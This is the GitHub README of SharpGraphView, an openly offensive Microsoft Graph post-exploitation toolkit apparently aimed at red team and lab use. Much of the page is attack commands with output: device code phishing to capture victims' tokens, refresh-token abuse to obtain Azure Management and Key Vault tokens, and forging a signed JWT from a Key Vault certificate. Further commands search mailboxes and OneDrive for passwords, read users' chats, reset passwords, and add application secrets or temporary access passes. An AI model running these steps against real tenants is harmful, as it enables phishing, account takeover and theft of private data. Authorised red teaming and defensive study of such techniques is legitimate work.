Skip to content
This repository has been archived by the owner on Jul 13, 2024. It is now read-only.
/ SharpGraphView Public archive

Microsoft Graph API post-exploitation toolkit

Notifications You must be signed in to change notification settings

mlcsec/SharpGraphView

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

20 Commits
 
 
 
 
 
 

Repository files navigation

SharpGraphView

READ-ONLY: Please see Graphpython for a more comprehensive solution covering everything from SharpGraphView and much more

Sharp post-exploitation toolkit providing modular access to the Microsoft Graph API (graph.microsoft.com) for cloud and red team operations.

Created during the Advanced Azure Cloud Attacks Lab. Inspired by GraphRunner and TokenTactics.

Index


Build

Compiled executable in bin/Release is ready to go.

If loading and building for the first time select the 'Restore' button in VS (may need to add and use nuget.org as a package source then update any packages via References > Manage NuGet Packages... > Updates)

nuget-restore

The following packages are required:

  • Newtonsoft.Json
  • Costura.Fody

Usage

All methods and flags are case-insensitve. Method must be the first argument, flags are position-independent.

SharpGraphView by @mlcsec

Usage:

    SharpGraphView.exe [Method] [-Domain <domain>] [-Tenant <tenant id>] [-Id <object id>] [-Select <display property>] [-Query <api endpoint>] [-Search <string> -Entity <entity>] [-Token <access token>] [-Cert <pfx cert>]

Flags:

    -Token                                   - Microsoft Graph access token or refresh token for FOCI abuse
    -Cert                                    - X509Certificate path
    -Domain                                  - Target domain
    -Tenant                                  - Target tenant ID
    -Id                                      - ID of target object
    -Key                                     - Azure Key Vault name (New-SignedJWT)
    -Select                                  - Filter output for comma seperated properties
    -Query                                   - Raw API query (GET request only)
    -Search                                  - Search string
    -Entity                                  - Search entity [driveItem (OneDrive), message (Mail), chatMessage (Teams), site (SharePoint), event (Calenders)]
    -help                                    - Show help

Auth:

    Get-GraphTokens                          - Obtain graph token via device code phish (saved to graph_tokens.txt)
    Get-TenantID                             - Get tenant ID for target domain
    Get-TokenScope                           - Get scope of supplied token
    Invoke-RefreshToMSGraphToken             - Convert refresh token to Micrsoft Graph token (saved to new_graph_tokens.txt)
    Invoke-RefreshToAzureManagementToken     - Convert refresh token to Azure Management token (saved to az_tokens.txt)
    Invoke-RefreshToVaultToken               - Convert refresh token to Azure Vault token (saved to vault_tokens.txt)
    Invoke-CertToAccessToken                 - Convert Azure Application certificate to JWT access token (saved to cert_tokens.txt)
    New-SignedJWT                            - Construct JWT and sign using Key Vault certificate (Azure Key Vault access token required) then generate Azure Management (ARM) token

Post-Auth:

    Get-CurrentUser                          - Get current user profile
    Get-CurrentUserActivity                  - Get recent actvity and actions of current user

    Get-OrgInfo                              - Get information relating to the target organisation
    Get-Domains                              - Get domain objects
    Get-User                                 - Get all users (default) or target user (-id)
    Get-UserProperties                       - Get current user properties (default) or target user (-id)
    Get-UserGroupMembership                  - Get group memberships for current user (default) or target user (-id)
    Get-UserTransitiveGroupMembership        - Get transitive group memberships for current user (default) or target user (-id)
    Get-Group                                - Get all groups (default) or target group (-id)
    Get-GroupMember                          - Get all members of target group
    Get-AppRoleAssignments                   - Get application role assignments for current user (default) or target user (-id)
    Get-ConditionalAccessPolicy              - Get conditional access policy properties
    Get-PersonalContacts                     - Get contacts of the current user
    Get-CrossTenantAccessPolicy              - Get cross tentant access policy properties
    Get-PartnerCrossTenantAccessPolicy       - Get partner cross tenant access policy
    Get-UserChatMessages                     - Get ALL messages from all chats for target user (Chat.Read.All)
    Get-AdministrativeUnitMember             - Get members of administrative unit
    Get-OneDriveFiles                        - Get all accessible OneDrive files for current user (default) or target user (-id)
    Get-UserPermissionGrants                 - Get permissions grants of current user (default) or target user (-id)
    Get-oauth2PermissionGrants               - Get oauth2 permission grants for current user (default) or target user (-id)
    Get-Messages                             - Get all messages in signed-in user's mailbox (default) or target user (-id)
    Get-TemporaryAccessPassword              - Get TAP details for current user (default) or target user (-id)
    Get-Password                             - Get passwords registered to current user (default) or target user (-id)

    List-AuthMethods                         - List authentication methods for current user (default) or target user (-id)
    List-DirectoryRoles                      - List all directory roles activated in the tenant
    List-Notebooks                           - List current user notebooks (default) or target user (-id)
    List-ConditionalAccessPolicies           - List conditional access policy objects
    List-ConditionalAuthenticationContexts   - List conditional access authentication context
    List-ConditionalNamedLocations           - List conditional access named locations
    List-SharePointRoot                      - List root SharePoint site properties
    List-SharePointSites                     - List any available SharePoint sites
    List-ExternalConnections                 - List external connections
    List-Applications                        - List all Azure Applications
    List-ServicePrincipals                   - List all service principals
    List-Tenants                             - List tenants
    List-JoinedTeams                         - List joined teams for current user (default) or target user (-id)
    List-Chats                               - List chats for current user (default) or target user (-id)
    List-ChatMessages                        - List messages in target chat (-id)
    List-Devices                             - List devices
    List-AdministrativeUnits                 - List administrative units
    List-OneDrives                           - List current user OneDrive (default) or target user (-id)
    List-RecentOneDriveFiles                 - List current user recent OneDrive files
    List-SharedOneDriveFiles                 - List OneDrive files shared with the current user

    Invoke-Search                            - Search for string within entity type (driveItem, message, chatMessage, site, event)
    Find-PrivilegedRoleUsers                 - Find users with privileged roles assigned
    Invoke-CustomQuery                       - Custom GET query to target Graph API endpoint
    Update-UserPassword                      - Update the passwordProfile of the target user (NewUserS3cret@Pass!)
    Add-ApplicationPassword                  - Add client secret to target application
    Add-UserTAP                              - Add new Temporary Access Password (TAP) to target user

Examples:

    SharpGraphView.exe Get-GraphTokens
    SharpGraphView.exe Invoke-RefreshToAzureManagementToken -tenant <tenant id> -token <refresh token>
    SharpGraphView.exe Get-User -id john.doe@vulncorp.onmicrosoft.com -token .\token.txt -select displayname,id
    SharpGraphView.exe Get-UserGroupMembership -token eyJ0eXAiOiJKV1QiLC...
    SharpGraphView.exe List-RecentOneDriveFiles -token .\token.txt
    SharpGraphView.exe Invoke-Search -search "password" -entity driveItem -token eyJ0eXAiOiJKV1QiLC...
    SharpGraphView.exe Invoke-CustomQuery -Query "https://graph.microsoft.com/v1.0/sites/{siteId}/drives" -token .\token.txt

Flags

-Token

Microsoft Graph access token (REQUIRED for all methods except Get-GraphTokens) or refresh token for FOCI abuse (Invoke-Refresh* methods)

PS > .\SharpGraphView.exe Get-Group -token .\token.txt
PS > .\SharpGraphView.exe Get-Group -token eyJ0eXAiOiJKV1QiLCJ...

-Cert

Path to Azure Application X509Certificate (REQUIRED for Invoke-CertToAccessToken):

PS > .\SharpGraphView.exe Invoke-CertToAccessToken -tenant <tenant id> -cert .\cert.pfx -id <app id>

-Domain

Target domain name (REQUIRED for Get-TenantID)

PS > .\SharpGraphView.exe Get-TenantID -domain targetcorp.domain

-Tenant

Target Tenant ID (REQUIRED for Invoke-Refresh* methods)

PS > .\SharpGraphView.exe Invoke-RefreshToAzureManagementToken -token refreshtoken.txt -tenant fbf34b9d-6375-4137-ae1f-8cb12df29bb5

-ID

ID of target object

  • can be the user ID or User Principal Name for user related methods
  • use the object ID for all others (groups, admin units, etc.)
PS > .\SharpGraphView.exe Get-User -id 5a48ab0f-c546-441f-832a-8ab48348e372 -token .\token.txt
PS > .\SharpGraphView.exe Get-User -id JohnDoe@TargetCorp1.onmicrosoft.com -token .\token.txt

-Key

Key Vault certificate key name (REQUIRED for New-SignedJWT method) e.g. take the following Key Vault Certificate URL endpoint:

 https://devappvault.vault.azure.net/certificates/DevAppCert

The -Key value would be DevAppCert

.\SharpGraphView.exe New-SignedJWT -id <appid> -tenant <tenantid>  -query https://devappvault.vault.azure.net -key DevAppCert -token <vault token>

-Select

Filter output and only display the supplied comma separated properties:

PS > .\SharpGraphView.exe Get-Group -token .\token.txt -select displayname,description

[*] Get-Group
value: [
  {
    "displayName": "DevOps",
    "description": "Members of this group will have access to DevOps resources"
  },
...

-Query

Raw API query (GET request endpoints only currently)

  • useful for enumerating drive items and other resources with variable endpoints:
GET /drives/{drive-id}/items/{item-id}/children
GET /groups/{group-id}/drive/items/{item-id}/children
GET /me/drive/items/{item-id}/children
GET /sites/{site-id}/drive/items/{item-id}/children
GET /users/{user-id}/drive/items/{item-id}/children

Example below returning select user details from /me endpoint:

PS > .\SharpGraphView.exe invoke-customquery -query https://graph.microsoft.com/v1.0/me -token .\token.txt -select displayname,userprincipalname

[*] Invoke-CustomQuery
displayName: John Doe
userPrincipalName: JohnDoe@TargetCorp1.onmicrosoft.com

-Search & -Entity

Search string, e.g. "password"

  • need to add queryTemplate option to filter by properties (e.g. {searchTerms} CreatedBy: etc.) using KQL

Target resource (entity) to search e.g. driveItem (OneDrive), message (Mail), chatMessage (Teams), site (SharePoint), event (Calenders)

PS > .\SharpGraphView.exe invoke-search -search "credentials" -entity driveItem -token .\token.txt
PS > .\SharpGraphView.exe invoke-search -search "password" -entity message -token .\token.txt


Methods

Auth Methods:

Command Description
Get-GraphTokens Get graph token via device code phish (saved to graph_tokens.txt)
Get-TenantID -Domain <domain> Get tenant ID for target domain
Get-TokenScope -Token <token> Get scope for the supplied token
Invoke-RefreshToMSGraphToken -Token <refresh> -Tenant <id> Convert refresh token to Microsoft Graph token (saved to new_graph_tokens.txt)
Invoke-RefreshToAzureManagementToken -Token <refresh> -Tenant <id> Convert refresh token to Azure Management token (saved to az_tokens.txt)
Invoke-RefreshToVaultToken -Token <refresh> Convert refresh token to Azure Vault token (saved to vault_tokens.txt)
Invoke-CertToAccessToken -Cert <path to pfx> -ID <app id> -Tenant <id> Convert Azure Application certificate to JWT access token
New-SignedJWT -ID <appid> -Tenant <id> -Query <vault URL> -key <vault key> -Token <vault token> Construct JWT and sign using Key Vault certificate (Azure Key Vault access token required) then generate Azure Management (ARM) token

Post-Auth Methods:

All methods are subject to the assigned roles and permissions for the current access account

  • The -token flag is REQUIRED for all post-authentication methods.
  • Flags in square brackets/italics below are optional arguments. Flags without are REQUIRED.
Method Description
Get-CurrentUser Get current user profile
Get-CurrentUserActivity Get recent activity and actions of current user
Get-OrgInfo Get information relating to the target organization
Get-Domains Get domain objects
Get-User [-ID <userid/upn>] Get all users (default) or target user (-id)
Get-UserProperties [-ID <userid/upn>] Get current user properties (default) or target user (-id) !WARNING! loud/slow due to 403 errors when grouping properties
Get-UserGroupMembership [-ID <userid/upn>] Get group memberships for current user (default) or target user (-id)
Get-UserTransitiveGroupMembership [-ID <userid/upn>] Get transitive group memberships for current user (default) or target user (-id)
Get-Group [-ID <groupid>] Get all groups (default) or target group (-id)
Get-GroupMember -ID <groupid> Get all members of target group
Get-AppRoleAssignments [-ID <userid/upn>] Get application role assignments for current user (default) or target user (-id)
Get-ConditionalAccessPolicy -ID <cap id> Get conditional access policy properties
Get-PersonalContacts Get contacts of the current user
Get-CrossTenantAccessPolicy Get cross tenant access policy properties
Get-PartnerCrossTenantAccessPolicy Get partner cross tenant access policy
Get-UserChatMessages -ID <userid/upn> Get all messages from all chats for target user
Get-AdministrativeUnitMember -ID <admin unit id> Get members of administrative unit
Get-OneDriveFiles [-ID <userid/upn>] Get all accessible OneDrive files for current user (default) or target user (-id)
Get-UserPermissionGrants [-ID <userid/upn>] Get permissions grants of current user (default) or target user (-id)
Get-oauth2PermissionGrants [-ID <userid/upn>] Get oauth2 permission grants for current user (default) or target user (-id)
Get-Messages [-ID <userid/upn>] Get all messages in signed-in user's mailbox (default) or target user (-id)
Get-TemporaryAccessPassword [-ID <userid/upn>] Get TAP details for current user (default) or target user (-id)
Get-Password [-ID <userid/upn>] Get passwords registered to current user (default) or target user (-id)
List-AuthMethods [-ID <userid/upn>] List authentication methods for current user (default) or target user (-id)
List-DirectoryRoles List all directory roles activated in the tenant
List-Notebooks [-ID <userid/upn>] List current user notebooks (default) or target user (-id)
List-ConditionalAccessPolicies List conditional access policy objects
List-ConditionalAuthenticationContexts List conditional access authentication context
List-ConditionalNamedLocations List conditional access named locations
List-SharePointRoot List root SharePoint site properties
List-SharePointSites List any available SharePoint sites
List-ExternalConnections List external connections
List-Applications List all Azure Applications
List-ServicePrincipals List all service principals
List-Tenants List tenants
List-JoinedTeams [-ID <userid/upn>] List joined teams for current user (default) or target user (-id)
List-Chats [-ID <userid/upn>] List chats for current user (default) or target user (-id)
List-Devices List devices
List-AdministrativeUnits List administrative units
List-OneDrives [-ID <userid/upn>] List current user OneDrive (default) or target user (-id)
List-RecentOneDriveFiles List current users recent OneDrive files
List-SharedOneDriveFiles List OneDrive files shared with the current user
Invoke-Search -Search <string> -Entity <entity> Search for string within entity type (driveItem, message, chatMessage, site, event)
Find-PrivilegedRoleUsers Find users with privileged roles assigned
Invoke-CustomQuery -Query <graph endpoint URL> Custom GET query to target Graph API endpoint e.g. https://graph.microsoft.com/v1.0/me
Update-UserPassword -ID <userid/upn> Update the passwordProfile of the target user (NewUserS3cret@Pass!)
Add-ApplicationPassword -ID <appid> Add client secret to target application
Add-UserTAP -ID <userid/upn> Add new Temporary Access Password (TAP) to target user

Coming soon:

More commands and options to be added

Method Description Endpoints
Add-GroupMember Add user to target group POST /groups/{group-id}/members/$ref
Create-User Create new malicious user POST /users

Addtional Invoke-RefreshTo... methods can be ported from TokenHandler.ps1.



Demo

Get-GraphTokens

Generates a sign-in message along with a unique code to be sent to the victim (device code phishing). Monitors for authentication, with a timeout set to 15 minutes. Upon successful authentication, a valid token is returned:

getgraphtokens-edit-crop

The Microsoft Graph API access token can then be copied to a local file or directly parsed to the -token parameter:

PS > .\SharpGraphView.exe get-usergroupmembership -token .\token.txt

[*] Get-UserGroupMembership
value: [
  {
    "@odata.type": "#microsoft.graph.directoryRole",
    "id": "5a48ab0f-c546-441f-832a-8ab48348e372",
    "deletedDateTime": null,
    "description": "Can read everything that a Global Administrator can, but not update anything.",
    "displayName": "Global Reader",
    "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451"
  }
]

Invoke-RefreshToAzureManagementToken

FOCI can be abused to obtain a valid Azure Management token using the refresh token obtained from Get-GraphTokens. Use Get-TenantID -domain <target.domain> to get the tenant ID of the target domain.

invokemsgraphrefresh-edit-crop

The Azure Management token can then be used with Connect-AzAccount to access Azure resources via the Azure Management (Az) PowerShell module:

PS > $aztoken = "eyJ0eXAiOiJKV1QiLCJ..."

PS > Connect-AzAccount -AccessToken $aztoken -AccountId JohnDoe@TargetCorp1.onmicrosoft.com

Account                                      SubscriptionName       TenantId                             Environment
-------                                      ----------------       --------                             -----------
JohnDoe@TargetCorp1.onmicrosoft.com          TargetCorp1            fbf34b9d-6375-4137-ae1f-8cb12df29bb5 AzureCloud

Invoke-RefreshToMSGraphToken

FOCI can be abused again to obtain a new Microsoft Graph token if the original token has expired:

PS > .\SharpGraphView.exe Invoke-RefreshTokenToMSGraphToken -token .\refreshtoken.txt -tenant <tenant id>

Invoke-RefreshToVaultToken

An Azure Vault token can be obtained in a similar fashion:

PS > .\SharpGraphView.exe invoke-refreshtovaulttoken -token <refresh>

[*] Invoke-RefreshToVaultToken

[+] Token Obtained!
[*] token_type: Bearer
[*] scope: https://vault.azure.net/user_impersonation https://vault.azure.net/.default
[*] expires_in: 5164
[*] ext_expires_in: 5164
[*] access_token: eyJ0eXAiOiJKV1QiL...
[*] refresh_token: 0.AUoAQlq91mV...
[*] foci: 1
[*] id_token: eyJ0eXAiOiJKV1Q...

[+] Token information written to 'vault_tokens.txt'.

# connect with new Vault token
PS > Connect-AzAccount -AccessToken <ARM access token> -KeyVaultAccessToken <vault access token> -AccountId <user account>

Invoke-CertToAccessToken

Obtain an access token from a valid Azure Application certificate then authenticate as the service principal:

PS > .\SharpGraphView.exe Invoke-CertToAccessToken -tenant <tenant id> -cert .\cert.pfx -id <app id>

[*] Invoke-CertToAccessToken

[+] Token Obtained!
[*] token_type: Bearer
[*] expires_in: 3599
[*] ext_expires_in: 3599
[*] access_token: eyJ0eXAiOiJKV1QiLCJub2...

[+] Token information written to 'cert_tokens.txt'.

The access token can then be used as normal with the -Token flag.

Get-TokenScope

Display the scope of the access token:

PS > .\SharpGraphView.exe get-tokenscope -token eyJ0eXAiOiJKV...

[*] Get-TokenScope
AuditLog.Read.All
Calendar.ReadWrite
Calendars.Read.Shared
Calendars.ReadWrite
Contacts.ReadWrite
DataLossPreventionPolicy.Evaluate
Directory.AccessAsUser.All
Directory.Read.All
Files.Read
Files.Read.All
Files.ReadWrite.All
Group.Read.All
Group.ReadWrite.All
InformationProtectionPolicy.Read
Mail.ReadWrite
Mail.Send
Notes.Create
Organization.Read.All
People.Read
People.Read.All
Printer.Read.All
PrintJob.ReadWriteBasic
SensitiveInfoType.Detect
SensitiveInfoType.Read.All
SensitivityLabel.Evaluate
Tasks.ReadWrite
TeamMember.ReadWrite.All
TeamsTab.ReadWriteForChat
User.Read.All
User.ReadBasic.All
User.ReadWrite
Users.Read

New-SignedJWT

Construct new JWT token with the details extracted from Key Vault Certificate and sign it. Requires the following permissions:

Microsoft.KeyVault/vaults/certificates/read
Microsoft.KeyVault/vaults/keys/read
Microsoft.KeyVault/vaults/keys/sign/action

Generating a signed JWT and request an Azure Management token (ARM):

PS > .\SharpGraphView.exe New-SignedJWT -id f9f75aac-fe0a-47e6-bfd3-98d8af327d8a -tenant fbf34b9d-6375-4137-ae1f-8cb12df29bb5 -query https://DevAppVault.vault.azure.net -key DevAppCert -token $vault_token

[*] New-SignedJWT

[+] Certificate Details Obtained!
kid: https://devappvault.vault.azure.net/keys/DevAppCert/2fb10001e7f0474916dec596b3818d56
x5t: 9xdFz3zEX8jJax-ihve1h-GhmQa

[+] Forged JWT:
eyJ4NXQiOiJxNnhGejN6RVg4akpheC1paHZlMWgtUmR1TVUiLCJ0eXAiOi...

[+] Azure Management Token Obtained!
[*] Application ID: f9f75aac-fe0a-47e6-bfd3-98d8af327d8a
[*] Tenant ID: fbf34b9d-6375-4137-ae1f-8cb12df29bb5
[*] Scope: https://management.azure.com/.default
[*] token_type: Bearer
[*] expires_in: 3599
[*] ext_expires_in: 3599
[*] access_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkwxS2ZLRklfam5YYndXYzI...

The returned management token can then be used to authenticate to Azure:

PS > Connect-AzAccount -AccessToken eyJ0eXAiOi... -AccountId f9f75aac-fe0a-47e6-bfd3-98d8af327d8a

Account                              SubscriptionName       TenantId                             Environment
-------                              ----------------       --------                             -----------
f9f75aac-fe0a-47e6-bfd3-98d8af327d8a TargetCorp-1           fbf34b9d-6375-4137-ae1f-8cb12df29bb5 AzureCloud

Observations

Common HTTP Error Codes

Several HTTP error codes may be encountered when running certain methods:

  • 400 - Bad request, can occur when authenticated as a service principal and attempt to use methods which target /me/<...> endpoints
  • 401 - Unauthorised, commonly occurs when an access token expires, isn't formatted correctly, or hasn't been supplied
  • 403 - Access to the resource/endpoint is forbidden, likely due to insufficient perms or some form of conditional access
  • 429 - User has sent too many requests in a given amount of time and triggered tate limiting, hold off for a few minutes

Todo

Addtional Authentication Methods

Currently, only access token authentication is supported. The following authentication processes will be ported:

# client secret auth:
$password = ConvertTo-SecureString 'app secret...' -AsPlainText -Force
creds = New-Object System.Management.Automation.PSCredential('app id', $password)
Connect-MgGraph -ClientSecretCredential $creds -TenantId <>

Additional auth methods from Connect-MgGraph can be ported as necessary.

Test

  • inlineExecute-Assembly
  • bofnet_executeassembly

About

Microsoft Graph API post-exploitation toolkit

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages